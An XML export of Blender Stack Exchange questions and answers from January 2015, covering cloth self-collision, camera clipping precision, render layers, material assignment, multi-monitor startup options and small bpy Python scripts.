  <row Id="23688" PostTypeId="2" ParentId="23660" CreationDate="2015-01-23T17:13:20.333" Score="2" Body="&lt;p&gt;Following workaround of selecting the object and using bpy.ops.object.duplicate_move works for my case ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def copyObject( scene, name, copyobj, loc ):&#xA;  bpy.ops.object.select_all(action='DESELECT')&#xA;  copyobj.select = True&#xA;  l = (loc[0] - copyobj.location[0],loc[1] - copyobj.location[1],loc[2] - copyobj.location[2])&#xA;  bpy.ops.object.duplicate_move( TRANSFORM_OT_translate={&quot;value&quot;:l} )&#xA;  obj = scene.objects[0]&#xA;  obj.name = name&#xA;  return obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="162" LastActivityDate="2015-01-23T17:13:20.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23689" PostTypeId="1" CreationDate="2015-01-23T17:16:17.170" Score="3" ViewCount="6705" Body="&lt;p&gt;I'm trying to model a cotton garment by simulating it's draping process. I'm having issues only when I enable self-collision of the cloth. Without self-collision , there are no issues but I do need self-collision for later stages of work and can't proceed without enabling that. I'm using 2.73, and I didn't modify any settings; that is , I use the default collision settings and for everything else too. Below are screenshots of the issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Rest state:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BgFxX.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;End result, without collision, close to what I want; but as seen, cloth is penetrating itself:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/StaAW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;When I enable self-collision, this happens right from the 1st frame itself:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AeN0B.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The end result is also similarly messed up.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;These are my cloth settings:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wRN8h.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the simulation is finding the cloth particles close together and hence repelling them from each other, given the messed up result. I set the &quot;distance&quot; value in the collision settings to 0.5 and 1 too, but both of them gave the same result.. Any idea why this could be happening?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2020-06-12T11:10:33.570" Title="Cloth Simulation : Self collision results in cloth &quot;exploding&quot;" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;particles&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23691" PostTypeId="1" AcceptedAnswerId="23692" CreationDate="2015-01-23T17:50:36.007" Score="4" ViewCount="6706" Body="&lt;p&gt;The menu for settings disappears when I click on another menu. How do I make it visual again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When modeling trees with the Sapling add-on, if I click &lt;em&gt;Undo&lt;/em&gt; the settings disappear for the Sapling add-on.&lt;/p&gt;&#xA;" OwnerUserId="11182" LastEditorUserId="25" LastEditDate="2015-12-14T06:00:51.067" LastActivityDate="2015-12-14T06:00:51.067" Title="How to make Sapling addon settings reappear?" Tags="&lt;interface&gt;&lt;add-on&gt;&lt;sapling-addon&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-01-23T19:49:13.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="23692" PostTypeId="2" ParentId="23691" CreationDate="2015-01-23T17:54:20.783" Score="3" Body="&lt;p&gt;This is standard behavior. You can not edit any settings after editing, moving, deselecting, etc. anything in the scene without the editing menu being removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/7851/6204&quot;&gt;&lt;strong&gt;More information&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-23T18:12:08.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23693" PostTypeId="2" ParentId="23672" CreationDate="2015-01-23T18:13:19.710" Score="11" Body="&lt;p&gt;It all came down to a loss of precision in the depth buffer, let me explain.&lt;br /&gt;&#xA;You have your camera's &lt;em&gt;Start&lt;/em&gt; &lt;a href=&quot;http://www.blender.org/manual/render/camera/lens.html#camera-clipping&quot; rel=&quot;nofollow noreferrer&quot;&gt;Clipping&lt;/a&gt; set to &lt;code&gt;.001&lt;/code&gt;, that is tiny.&#xA;If you turn on the display limits of the camera you will start to see the problem.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gMb91.png&quot; alt=&quot;camera clipping limits&quot; /&gt;&lt;br /&gt;&#xA;The camera is in the red box, and your sword is in the blue box, over 60 units away.&#xA;Now with the start clip set to &lt;code&gt;0.001&lt;/code&gt; (the default is &lt;code&gt;0.1&lt;/code&gt;) there is a &lt;em&gt;lot&lt;/em&gt; of wasted calculations, leading to a loss in precision.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.blender.org/manual/editors/3dview/display/panels.html#view-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender manual&lt;/a&gt; has a note about such behavior with a large clipping range.&lt;/p&gt;&#xA;&lt;p&gt;This Quote from &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ee416324%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;an article on MSDN&lt;/a&gt; explains it well.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The near plane and far plane are the final pieces required to calculate the projection matrix. The more closely together the planes are, the more precise the values in the depth buffer.&lt;/p&gt;&#xA;&lt;p&gt;The depth buffer can be 16-bit, 24-bit, or 32-bit, with values between 0 and 1. Generally, depth buffers are fixed point, with the values close to the near plane grouped more closely together than the values close to the far plane. The degree of precision available to the depth buffer is determined by the ratio of the near plane to the far plane. Using the tightest possible near/far plane could allow use of a 16-bit depth buffer. A 16-bit depth buffer could reduce the use of memory while increasing processing speed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So a simple fix, is to set the camera's start clipping to a bigger number, even &lt;code&gt;0.1&lt;/code&gt; works, but as your scene is currently set up you could go as high as &lt;code&gt;60&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Changing the camera settings will fix the problem, however you still have a &lt;strong&gt;huge&lt;/strong&gt; sword.&lt;br /&gt;&#xA;If you look at the dimensions (in the properties panel &lt;kbd&gt;N&lt;/kbd&gt;) of your sword it is 31 meters tall!&lt;/p&gt;&#xA;&lt;p&gt;Just scale down the sword with &lt;kbd&gt;S&lt;/kbd&gt;, until it is about a meter. Then reposition the camera.&lt;/p&gt;&#xA;&lt;p&gt;The other option is to scale down your entire scene, then change the strength of your lamps.&lt;/p&gt;&#xA;&lt;p&gt;This has the same effect as changing the clipping on the camera, because there is now less space blender has to calculate.&lt;/p&gt;&#xA;&lt;p&gt;So really this was a story of way too big, and way too small. Pay attention to your numbers, and even use &lt;a href=&quot;https://blender.stackexchange.com/a/14731/2217&quot;&gt;real world&lt;/a&gt; &lt;a href=&quot;https://blender.stackexchange.com/a/258/2217&quot;&gt;units&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-04-04T03:28:50.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23695" PostTypeId="1" AcceptedAnswerId="23696" CreationDate="2015-01-23T19:24:51.800" Score="6" ViewCount="1153" Body="&lt;p&gt;During playback of a video file, my configuration (2.72 on Windows 7) does not show the frame rate in the upper right corner of the Video Sequence Editor's Image Preview window.  How can I turn it on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/EIpjRnI&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/EIpjRnI.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6335" LastActivityDate="2015-01-23T19:31:13.837" Title="Display frame rate during playback" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23696" PostTypeId="2" ParentId="23695" CreationDate="2015-01-23T19:31:13.837" Score="7" Body="&lt;p&gt;Go to &lt;em&gt;User Preferences&lt;/em&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;) and check the &lt;strong&gt;&lt;em&gt;Playback FPS&lt;/em&gt;&lt;/strong&gt; box in the &lt;em&gt;Interface&lt;/em&gt; header.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X9HhQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-23T19:31:13.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23698" PostTypeId="1" AcceptedAnswerId="23701" CreationDate="2015-01-23T20:46:32.703" Score="6" ViewCount="152" Body="&lt;p&gt;i'm doing a animation with two objects on Cycles, and when i look at the object alone (on its own layer) looks good, but when i mix it with the other object it looks bad, i should change the lighting, but it looks perfect for me with that kind of light on the preview, is it possible to render the object like that? &lt;em&gt;The material obviously is affected by lighting, that's why i need to know if there's a possible way to keep the material like appears on the preview.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u8SbP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks in regard.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-01-23T20:56:53.350" LastActivityDate="2015-01-23T21:18:50.910" Title="Any way to keep the kind of ilumination on preview for rendering?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23700" PostTypeId="2" ParentId="23651" CreationDate="2015-01-23T21:18:12.143" Score="3" Body="&lt;p&gt;Found the problem: The files had somehow become corrupted and wouldn't actually open in anything except for the Preview app provided by apple, so if this happens to you, recheck the pictures in your browser to make sure that they work and everything. If they don't, just open them in a editing or viewing program and copy paste them to a new project.&lt;/p&gt;&#xA;" OwnerUserId="11167" LastActivityDate="2015-01-23T21:18:12.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23701" PostTypeId="2" ParentId="23698" CreationDate="2015-01-23T21:18:50.910" Score="10" Body="&lt;p&gt;What you want are &lt;em&gt;Render Layers&lt;/em&gt;. A render layer is basically what layers are rendered to separate images, composited later in the compositor after the actual render takes place. It is possible to do this fairly easily actually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure they are on different layers (I think you said they already are). Then go to &lt;em&gt;Properties &gt; Render Layers&lt;/em&gt; and set up the default Render Layer to only show your background object layer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rhUEL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Layer&lt;/em&gt; section is to show what layers to render, and the &lt;em&gt;Exclude&lt;/em&gt; section is for what sections to exclude from the render (shadows, reflections, lamps, etc.). It is important you get these right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have that set up, you can add a &lt;em&gt;Render Layer&lt;/em&gt; for the foreground object. Press the &lt;kbd&gt;&lt;strong&gt;+&lt;/strong&gt;&lt;/kbd&gt; beside the &lt;em&gt;Render Layers&lt;/em&gt; display window, and name as desired:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UG6g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set up the new layer using the same principles as the first, isolating the foreground element. You should get two images when you press &lt;kbd&gt;F12&lt;/kbd&gt; now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PzRy4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we need to go into the &lt;em&gt;Compositor&lt;/em&gt; to put the two images together.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Start by adding another &lt;em&gt;Render Layer&lt;/em&gt; input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Huc0P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set up your nodes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PNOMP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that now it is combining the two different rendered images based on the &lt;em&gt;Alpha&lt;/em&gt; value of the second. One more iportant thing you need to do: Make sure that there is an &lt;em&gt;Alpha&lt;/em&gt; value to use. Go to &lt;em&gt;Properties &gt; Render &gt; Film&lt;/em&gt; and tick the &lt;em&gt;Transparent&lt;/em&gt; checkbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiBoh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-23T21:18:50.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23702" PostTypeId="2" ParentId="23660" CreationDate="2015-01-23T21:34:59.300" Score="6" Body="&lt;p&gt;To copy game logic from one object to one or many others:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the other object (or multiples using shift) first (object you would like to copy game logic nodes &lt;strong&gt;to&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object you want to copy from (using shift to select)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click Object-&gt;Game-&gt;Copy Logic Bricks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( or script as bpy.ops.object.logic_bricks_copy() )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can be done for Properties as well as Physics properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the type of copy you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-01-23T21:34:59.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23703" PostTypeId="2" ParentId="23663" CreationDate="2015-01-23T22:11:16.887" Score="4" Body="&lt;p&gt;&lt;strong&gt;Flatten&lt;/strong&gt; tries to make all vertices align on one plane:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CR1W7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Smooth&lt;/strong&gt; tries to align vertices to the average mesh surface:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OU6Uh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Polish&lt;/strong&gt; is basically a mixture of the two:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oag7k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have observed from use and gathered from the Wiki. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When pressing &lt;kbd&gt;Shift&lt;/kbd&gt; while using the &lt;em&gt;Brush&lt;/em&gt; tool, you switch to &lt;em&gt;Smooth&lt;/em&gt; mode, and while pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; you switch from &lt;em&gt;Add&lt;/em&gt; to &lt;em&gt;Subtract&lt;/em&gt; mode, and the opposite as well.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-24T02:05:49.513" LastActivityDate="2015-01-24T02:05:49.513" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23704" PostTypeId="1" AcceptedAnswerId="23705" CreationDate="2015-01-24T02:51:58.170" Score="11" ViewCount="912" Body="&lt;p&gt;I know how to set up the default scene by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;, but whenever I startup Blender it always fills only one of my screens, even if I set it to fill both before setting the default scene. I end up having to resize it every time I start it up. Is there a way to set this to happen by default?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-25T04:30:44.887" Title="Is it possible to make the default scene fill two monitors at startup?" Tags="&lt;customization&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23705" PostTypeId="2" ParentId="23704" CreationDate="2015-01-24T04:08:21.417" Score="10" Body="&lt;p&gt;You can use the menu &lt;code&gt;Window -&amp;gt; Duplicate Window&lt;/code&gt;(&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;W&lt;/kbd&gt;) - to add a second Blender window, then put one one each monitor. The windows will by &quot;synchronized&quot; as in that changes will be reflected in real time. &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt; will now work to save the setup.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-01-24T15:37:08.617" LastActivityDate="2015-01-24T15:37:08.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23706" PostTypeId="2" ParentId="23704" CreationDate="2015-01-24T08:35:28.420" Score="7" Body="&lt;p&gt;If you want to keep a single window, there is a very dirty trick by using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line#Window_Options:&quot; rel=&quot;nofollow noreferrer&quot;&gt;command line parameters&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Windows OS, right click on the Blender shortcut icon, add the following code after the path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-W -p &amp;lt;sx&amp;gt; &amp;lt;sy&amp;gt; &amp;lt;w&amp;gt; &amp;lt;h&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;sx&amp;gt; &amp;lt;sy&amp;gt;&lt;/code&gt; represents the lower left corner, e.g. If you have two monitors, both with resolution of 1280*1024, then you would set it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-W -p 0 0 2560 1024&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you don't want the taskbar overlap on Blender window, a offset is needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-W -p 0 30 2560 994&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Bodz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, start Blender, the window is in fullscreen mode by default, but the second monitor didn't update at this moment, then you will need to hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt; three times, to keep the window size updated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I said &quot;it's dirty&quot; is that you have to find your way to update the window. It turns out &lt;code&gt;-W&lt;/code&gt; has to be used. It will be perfect to get rid of it. I'm not sure if this is a bug. And I don't know if this works for other OS. Anyway, it is possible by doing it in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, no &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; needed here.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-01-25T04:30:44.887" LastActivityDate="2015-01-25T04:30:44.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23707" PostTypeId="1" AcceptedAnswerId="23709" CreationDate="2015-01-24T09:58:12.173" Score="1" ViewCount="2661" Body="&lt;p&gt;So, here's the code i'm trying to implement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#remember to bpy.ops.mesh.quads_convert_to_tris()&#xA;&#xA;ob = bpy.data.objects&#xA;&#xA;#create an output file&#xA;import os&#xA;file = open(os.path.splitext(bpy.data.filepath)[0] + &quot;.txt&quot;, 'w')&#xA;&#xA;&#xA;for objects in ob:&#xA;    #get vertices, normals, and texCoords&#xA;    if(ob[objects.name].type == 'MESH'):&#xA;        for face in ob[objects.name].data.polygons:&#xA;            for vert, loop in zip(face.vertices, face.loop_indices):&#xA;                coord = ob[objects.name].data.vertices[vert].co&#xA;                normal = ob[objects.name].data.vertices[vert].normal&#xA;                layers = ob[objects.name].data.uv_layers&#xA;                for MeshUVLoopLayer in layers:&#xA;                    #the problem is here&#xA;                    uv = ob[objects.name].data.uv_layers[MeshUVLoopLayer.name].data[loop].uv&#xA;                    file.write(&quot;v {co.x} {co.y} {co.z}\nvn {n.x} {n.y} {n.z}\nvt {uv.x} {uv.y}\n&quot;.format(co=coord, n=normal, uv=uv))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this was working when i wasn't doing the for loop and it was '...uv_layers.active', but when i replaced it with what it is now i get this error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know the bpy_prop_collection isn't empty it should have two items in it and i checked it with the console using bpy.data.objects[&quot;Suzanne&quot;].data.uv_layers.items() and it came out with UVMap and UVMap.001. Suzanne is the only object in the scene, plus it checks the objects first if they're meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, on what's causing the error? Or what i'm obviously doing wrong, but am completely oblivious to?&lt;/p&gt;&#xA;" OwnerUserId="11130" LastActivityDate="2015-01-24T10:40:20.943" Title="Index Error: bpy_prop_collection[index]: index 0 out of range, size 0" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23709" PostTypeId="2" ParentId="23707" CreationDate="2015-01-24T10:40:20.943" Score="2" Body="&lt;p&gt;You need to run the script in &lt;em&gt;Object Mode&lt;/em&gt;, make sure that you meet all requirements (material and unwrapping) read the bullet points &lt;a href=&quot;https://blender.stackexchange.com/questions/6403/how-do-we-access-vert-norm-and-uv-data-then-print-to-a-text-file-using-blender/6431#6431&quot;&gt;here&lt;/a&gt;,&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-01-24T10:40:20.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23710" PostTypeId="1" AcceptedAnswerId="23711" CreationDate="2015-01-24T11:24:23.327" Score="1" ViewCount="3373" Body="&lt;p&gt;So let's say I create a material in &lt;strong&gt;Cycles&lt;/strong&gt; and let's say, I load an image texture onto a sword. It perfectly fits, all good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the sword I would load in would only be one part, it's just one big mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would I select an area of the sword, let's say one part would be steel, and the other part would be (leather)? I just need to know how to add more than one shader on different parts of the object.&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2015-01-24T11:42:18.067" Title="How to Add a Shader to a Specific Part/Area of an Object?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-01-24T15:06:58.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="23711" PostTypeId="2" ParentId="23710" CreationDate="2015-01-24T11:42:18.067" Score="4" Body="&lt;p&gt;You can assign another material to the faces that should have a different shader. Just go into edit mode, select the faces that should have a different material and assign it to the face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOJdi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could mix two shaders depending on a texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9s4Kh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-24T11:42:18.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23712" PostTypeId="2" ParentId="2203" CreationDate="2015-01-24T12:12:22.640" Score="2" Body="&lt;p&gt;I fixed it on my system (Windows 7 32-bit) with a bat file that has the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set PYTHONPATH=&quot;&quot;&#xA;&quot;%ProgramFiles%\Blender Foundation\blender\blender.exe&quot; &quot;%1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put the above in a file called &lt;code&gt;blender.bat&lt;/code&gt; and associate &lt;code&gt;.blend&lt;/code&gt; files with the &lt;code&gt;blender.bat&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure that any .blend file pathname has no spaces.&lt;/p&gt;&#xA;" OwnerUserId="6335" LastActivityDate="2015-01-24T12:12:22.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23713" PostTypeId="1" AcceptedAnswerId="38946" CreationDate="2015-01-24T12:45:50.167" Score="0" ViewCount="3860" Body="&lt;p&gt;I'm trying to animate a horse along a path. What is the best practice to bake the path animation into the root bones position, without affecting other animations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added to my root bone the 'Follow Path' constraint and selected a nurbs path. If I try to manually insert the keyframes for my bones, with an active path constraint, those values aren't saved if I disable the constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2rLPJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6281" LastActivityDate="2015-09-22T16:28:05.107" Title="Bake Path Animation" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23714" PostTypeId="1" AcceptedAnswerId="23750" CreationDate="2015-01-24T13:06:34.477" Score="6" ViewCount="8544" Body="&lt;p&gt;I have two planes with the same node setup, but only one of them is transparent in Material Viewport Shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkFQv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one that works was created by the Import Images as Planes addon. The other plane was created manually and copying the addon's material setup into a new material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the addon's material to the &quot;bad&quot; plane it works, so the problem is related to the material itself (nor the object, OPGL or my hardware). I'm working on 2.73.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no clue about this behavior, &lt;a href=&quot;http://www.pasteall.org/blend/33973&quot;&gt;here is the .blend&lt;/a&gt; for checking it out.&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="9482" LastEditDate="2015-01-24T13:16:11.010" LastActivityDate="2017-02-09T00:11:47.550" Title="How to see Cycle's material transparency in 3D View" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23715" PostTypeId="2" ParentId="23683" CreationDate="2015-01-24T13:30:01.197" Score="2" Body="&lt;p&gt;This would be typical behaviour, as a hard cut trim is a rarely used feature. Great for making freeze frames but not very flexible. More often a user would make a soft cut to allow later alteration, in which case you would want all of the proxy to be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I imagine that transcoding the entire original media would eliminate the potential for mismatched frames of long GOP (Group of Pictures) sources. Where Blender actually has to decode all of the previous frames to make sure that it creates the correct ones that you have selected to hard cut on.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="6335" LastEditDate="2015-01-24T14:58:38.843" LastActivityDate="2015-01-24T14:58:38.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
